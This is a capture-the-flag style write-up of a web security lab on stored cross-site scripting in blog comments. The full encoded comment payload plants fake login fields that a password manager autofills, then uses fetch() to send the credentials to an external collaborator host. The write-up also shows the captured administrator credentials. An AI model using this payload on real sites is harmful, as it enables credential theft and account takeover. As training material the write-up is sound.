This lab contains a vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's username and password then use these credentials to log in to the victim's account.
Approach
After accessing the lab, I headed straight to the comment section and intercepted a request for writing a comment. I began by injecting HTML tags into all the parameters to assess whether they would be reflected and executed.
Here's the initial request I tested:
POST /post/comment HTTP/2
Host: 0ac0006b031dd3e58149805400aa0035.web-security-academy.net
Cookie: session=yDz4qBe80MaMP1NdoROJ3AqhkYLFAcki
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
...
csrf=hbrtk78h7GPkN9RvkL7fTu7A1hnHy5Ff&postId=9&comment=<b>hacked</b>&name=<b>hacked</b>&email=<b>hacked</b>%40qwe.com&website=http%3A%2F%2FInconsistent.com
The HTML tags were rendered correctly in the comment section, indicating that the input wasn't sanitized, and the parameter was vulnerable to Cross-Site Scripting (XSS).
The trick here is that the victim uses a password manager, so it fills login forms automatically. My approach involves creating simple input fields for both the username and password and then sending their content to my Burp Collaborator.
POST /post/comment HTTP/2
Host: 0a7f00830364142a85859974002500a1.web-security-academy.net
Cookie: session=oI3A2hqlSXkHc2LuYfTU2xSELeB2bpo6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
...
csrf=hFedebjoAR7QebCYMuNIMeDXR8AjZz0w&postId=6&comment=%3Cinput%20name%3Dusername%20id%3Dusername%3E%0A%3Cinput%20type%3Dpassword%20name%3Dpassword%20onchange%3D%22if%28this.value.length%29fetch%28%27https%3A%2F%2F39awr4g6oa55e4gogckaw36dz45vtmmab.oastify.com%27%2C%7B%0Amethod%3A%27POST%27%2C%0Amode%3A%20%27no-cors%27%2C%0Abody%3Ausername.value%2B%27%3A%27%2Bthis.value%0A%7D%29%3B%22%3E&name=qwe&email=qwe%40qwe.comq&website=http%3A%2F%2FInconqwesistent.com
After sending the request, I checked my Burp Collaborator and pressed Poll now. I then observed an HTTP request, and upon clicking Request to collaborator, I could see the credentials in the body:
POST / HTTP/1.1
Host: jtgcbk0m8qplyk040s4qgjqtjkpbd39ry.oastify.com
...
administrator:ywbi4c4i55rwnknuvt3k
I logged in with these credentials, and the lab was solved.